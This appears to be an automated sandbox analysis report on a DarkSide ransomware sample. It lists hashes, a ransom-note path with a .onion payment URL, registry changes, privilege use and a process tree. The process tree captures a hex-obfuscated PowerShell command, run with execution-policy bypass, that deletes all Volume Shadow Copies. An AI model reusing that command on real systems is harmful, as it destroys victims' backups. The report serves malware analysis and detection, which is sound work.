Overview
overview
10Static
static
10Ransomware...KB.exe
windows7-x64
10Ransomware...KB.exe
windows10-2004-x64
10Ransomware...KB.exe
windows7-x64
10Ransomware...KB.exe
windows10-2004-x64
10Ransomware...KB.exe
windows7-x64
10Ransomware...KB.exe
windows10-2004-x64
10Ransomware...KB.exe
windows7-x64
10Ransomware...KB.exe
windows10-2004-x64
10Ransomware...KB.exe
windows7-x64
10Ransomware...KB.exe
windows10-2004-x64
10Ransomware...KB.exe
windows7-x64
10Ransomware...KB.exe
windows10-2004-x64
10Ransomware...KB.exe
windows7-x64
10Ransomware...KB.exe
windows10-2004-x64
10Ransomware...KB.exe
windows7-x64
10Ransomware...KB.exe
windows10-2004-x64
10Ransomware...KB.exe
windows7-x64
10Ransomware...KB.exe
windows10-2004-x64
10Ransomware...KB.exe
windows7-x64
10Ransomware...KB.exe
windows10-2004-x64
10Ransomware...KB.exe
windows7-x64
10Ransomware...KB.exe
windows10-2004-x64
10Ransomware...KB.exe
windows7-x64
10Ransomware...KB.exe
windows10-2004-x64
10Ransomware...KB.exe
windows7-x64
10Ransomware...KB.exe
windows10-2004-x64
10Ransomware...KB.exe
windows7-x64
10Ransomware...KB.exe
windows10-2004-x64
10Ransomware...KB.exe
windows7-x64
10Ransomware...KB.exe
windows10-2004-x64
10Ransomware...KB.exe
windows7-x64
10Ransomware...KB.exe
windows10-2004-x64
7Resubmissions
28-07-2024 16:38
240728-t5tryssgmm 1007-07-2024 14:07
240707-rfgd8atekm 1007-07-2024 14:07
240707-re689awdpe 1013-09-2022 17:54
220913-wg1lpsgbg7 10Analysis
-
max time kernel
424s -
max time network
453s -
platform
windows10-2004_x64 -
resource
win10v2004-20240704-en -
resource tags
arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system -
submitted
07-07-2024 14:07
Static task
static1
Behavioral task
behavioral1
Sample
RansomwareSamples/Avaddon_09_06_2020_1054KB.exe
Resource
win7-20240705-en
Behavioral task
behavioral2
Sample
RansomwareSamples/Avaddon_09_06_2020_1054KB.exe
Resource
win10v2004-20240704-en
Behavioral task
behavioral3
Sample
RansomwareSamples/Avos_18_07_2021_403KB.exe
Resource
win7-20240220-en
Behavioral task
behavioral4
Sample
RansomwareSamples/Avos_18_07_2021_403KB.exe
Resource
win10v2004-20240704-en
Behavioral task
behavioral5
Sample
RansomwareSamples/Babik_04_01_2021_31KB.exe
Resource
win7-20240220-en
Behavioral task
behavioral6
Sample
RansomwareSamples/Babik_04_01_2021_31KB.exe
Resource
win10v2004-20240704-en
Behavioral task
behavioral7
Sample
RansomwareSamples/Babuk_20_04_2021_79KB.exe
Resource
win7-20240705-en
Behavioral task
behavioral8
Sample
RansomwareSamples/Babuk_20_04_2021_79KB.exe
Resource
win10v2004-20240704-en
Behavioral task
behavioral9
Sample
RansomwareSamples/BlackKingdom_23_03_2021_12460KB.exe
Resource
win7-20240704-en
Behavioral task
behavioral10
Sample
RansomwareSamples/BlackKingdom_23_03_2021_12460KB.exe
Resource
win10v2004-20240508-en
Behavioral task
behavioral11
Sample
RansomwareSamples/BlackMatter_02_08_2021_67KB.exe
Resource
win7-20240704-en
Behavioral task
behavioral12
Sample
RansomwareSamples/BlackMatter_02_08_2021_67KB.exe
Resource
win10v2004-20240704-en
Behavioral task
behavioral13
Sample
RansomwareSamples/Conti_22_12_2020_186KB.exe
Resource
win7-20240705-en
Behavioral task
behavioral14
Sample
RansomwareSamples/Conti_22_12_2020_186KB.exe
Resource
win10v2004-20240704-en
Behavioral task
behavioral15
Sample
RansomwareSamples/Cuba_08_03_2021_1130KB.exe
Resource
win7-20240704-en
Behavioral task
behavioral16
Sample
RansomwareSamples/Cuba_08_03_2021_1130KB.exe
Resource
win10v2004-20240704-en
Behavioral task
behavioral17
Sample
RansomwareSamples/DarkSide_01_05_2021_30KB.exe
Resource
win7-20240508-en
Behavioral task
behavioral18
Sample
RansomwareSamples/DarkSide_01_05_2021_30KB.exe
Resource
win10v2004-20240704-en
Behavioral task
behavioral19
Sample
RansomwareSamples/DarkSide_16_01_2021_59KB.exe
Resource
win7-20240220-en
Behavioral task
behavioral20
Sample
RansomwareSamples/DarkSide_16_01_2021_59KB.exe
Resource
win10v2004-20240704-en
Behavioral task
behavioral21
Sample
RansomwareSamples/DarkSide_18_11_2020_17KB.exe
Resource
win7-20240705-en
Behavioral task
behavioral22
Sample
RansomwareSamples/DarkSide_18_11_2020_17KB.exe
Resource
win10v2004-20240704-en
Behavioral task
behavioral23
Sample
RansomwareSamples/DearCry_13_03_2021_1292KB.exe
Resource
win7-20240704-en
Behavioral task
behavioral24
Sample
RansomwareSamples/DearCry_13_03_2021_1292KB.exe
Resource
win10v2004-20240704-en
Behavioral task
behavioral25
Sample
RansomwareSamples/Hades_29_03_2021_1909KB.exe
Resource
win7-20240705-en
Behavioral task
behavioral26
Sample
RansomwareSamples/Hades_29_03_2021_1909KB.exe
Resource
win10v2004-20240704-en
Behavioral task
behavioral27
Sample
RansomwareSamples/Hive_17_07_2021_808KB.exe
Resource
win7-20240508-en
Behavioral task
behavioral28
Sample
RansomwareSamples/Hive_17_07_2021_808KB.exe
Resource
win10v2004-20240704-en
Behavioral task
behavioral29
Sample
RansomwareSamples/LockBit_14_02_2021_146KB.exe
Resource
win7-20240704-en
Behavioral task
behavioral30
Sample
RansomwareSamples/LockBit_14_02_2021_146KB.exe
Resource
win10v2004-20240704-en
Behavioral task
behavioral31
Sample
RansomwareSamples/MAKOP_27_10_2020_115KB.exe
Resource
win7-20240704-en
Behavioral task
behavioral32
Sample
RansomwareSamples/MAKOP_27_10_2020_115KB.exe
Resource
win10v2004-20240704-en
General
-
Target
RansomwareSamples/DarkSide_16_01_2021_59KB.exe
-
Size
59KB
-
MD5
0ed51a595631e9b4d60896ab5573332f
-
SHA1
7ae73b5e1622049380c9b615ce3b7f636665584b
-
SHA256
243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60
-
SHA512
9bfd6318b120c05d9a42a456511efc59f2be5ad451baa6d19d5de776e2ff74dbee444c85478ee7cfdbf705517cc147cd64c6814965f76c740fe1924594a37cb5
-
SSDEEP
768:vjjmbIax7F3DS4/S9+CuUSbVAdNcxGV1yl3RYY23W58:0x7Fu4/ihrhDTV1ylhZ58
Malware Config
Extracted
C:\Users\Admin\README.bfd24ac8.TXT
darkside
http://darksidfqzcuhtk2.onion/LYID3U99RAJSTEYEFWS6SLYDGMUXKNAT3OPKN9D56PIGX1QHBU5DHGUN4HGMX2IW
Signatures
-
DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
-
Renames multiple (137) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Sets desktop wallpaper using registry 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-771719357-2485960699-3367710044-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\bfd24ac8.BMP" DarkSide_16_01_2021_59KB.exe Set value (str) \REGISTRY\USER\S-1-5-21-771719357-2485960699-3367710044-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\bfd24ac8.BMP" DarkSide_16_01_2021_59KB.exe -
Modifies Control Panel 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-771719357-2485960699-3367710044-1000\Control Panel\Desktop\WallpaperStyle = "10" DarkSide_16_01_2021_59KB.exe -
Modifies registry class 5 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\bfd24ac8\DefaultIcon DarkSide_16_01_2021_59KB.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\bfd24ac8 DarkSide_16_01_2021_59KB.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\bfd24ac8\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\bfd24ac8.ico" DarkSide_16_01_2021_59KB.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.bfd24ac8 DarkSide_16_01_2021_59KB.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.bfd24ac8\ = "bfd24ac8" DarkSide_16_01_2021_59KB.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 3376 powershell.exe 3376 powershell.exe 1912 DarkSide_16_01_2021_59KB.exe 1912 DarkSide_16_01_2021_59KB.exe -
Suspicious use of AdjustPrivilegeToken 25 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 1912 DarkSide_16_01_2021_59KB.exe Token: SeSecurityPrivilege 1912 DarkSide_16_01_2021_59KB.exe Token: SeTakeOwnershipPrivilege 1912 DarkSide_16_01_2021_59KB.exe Token: SeLoadDriverPrivilege 1912 DarkSide_16_01_2021_59KB.exe Token: SeSystemProfilePrivilege 1912 DarkSide_16_01_2021_59KB.exe Token: SeSystemtimePrivilege 1912 DarkSide_16_01_2021_59KB.exe Token: SeProfSingleProcessPrivilege 1912 DarkSide_16_01_2021_59KB.exe Token: SeIncBasePriorityPrivilege 1912 DarkSide_16_01_2021_59KB.exe Token: SeCreatePagefilePrivilege 1912 DarkSide_16_01_2021_59KB.exe Token: SeBackupPrivilege 1912 DarkSide_16_01_2021_59KB.exe Token: SeRestorePrivilege 1912 DarkSide_16_01_2021_59KB.exe Token: SeShutdownPrivilege 1912 DarkSide_16_01_2021_59KB.exe Token: SeDebugPrivilege 1912 DarkSide_16_01_2021_59KB.exe Token: SeSystemEnvironmentPrivilege 1912 DarkSide_16_01_2021_59KB.exe Token: SeRemoteShutdownPrivilege 1912 DarkSide_16_01_2021_59KB.exe Token: SeUndockPrivilege 1912 DarkSide_16_01_2021_59KB.exe Token: SeManageVolumePrivilege 1912 DarkSide_16_01_2021_59KB.exe Token: 33 1912 DarkSide_16_01_2021_59KB.exe Token: 34 1912 DarkSide_16_01_2021_59KB.exe Token: 35 1912 DarkSide_16_01_2021_59KB.exe Token: 36 1912 DarkSide_16_01_2021_59KB.exe Token: SeDebugPrivilege 3376 powershell.exe Token: SeBackupPrivilege 1472 vssvc.exe Token: SeRestorePrivilege 1472 vssvc.exe Token: SeAuditPrivilege 1472 vssvc.exe -
Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 1912 wrote to memory of 3376 1912 DarkSide_16_01_2021_59KB.exe 85 PID 1912 wrote to memory of 3376 1912 DarkSide_16_01_2021_59KB.exe 85 -
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\RansomwareSamples\DarkSide_16_01_2021_59KB.exe"C:\Users\Admin\AppData\Local\Temp\RansomwareSamples\DarkSide_16_01_2021_59KB.exe"1⤵
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1912 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3376
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1472
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3KB
MD5556084f2c6d459c116a69d6fedcc4105
SHA1633e89b9a1e77942d822d14de6708430a3944dbc
SHA25688cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8
SHA5120f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e
-
Filesize
1KB
MD5c321ce5c529b0b756ad69a719371d600
SHA1abf615e98069e732169cb9b56d8b7b58067bd4ec
SHA2569ac27c4257a90651a2ff2b6fdf448c47a1893bc5c44b6c06c3715c56ff36a0f6
SHA5128a465b2ab7d61aa3ecfdb8f4fec1e4241230f1c71172c202bb5742a340195346dbe30d6e868dda3e3bb66fd658e6cfb17a44e6780ee9463d7b880f8d00ec8bf6
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
1KB
MD5d4e176b40c4ea17f4870c34fad926d6e
SHA12cc3e4c6cf00e4a2ac0e16e9f7b0ccf2421b92e0
SHA2567ee422c323ddbda59934ed7bfa6217cfe06bdb50165b7d4b6115475f1df7af0c
SHA512feaa913ae99db210db088423a9813e1efedd89d80817bf485a4d9f8ea349b86932ac16ba0473bd224ff150603507bd289d01aebc1a702372a076a167b632f471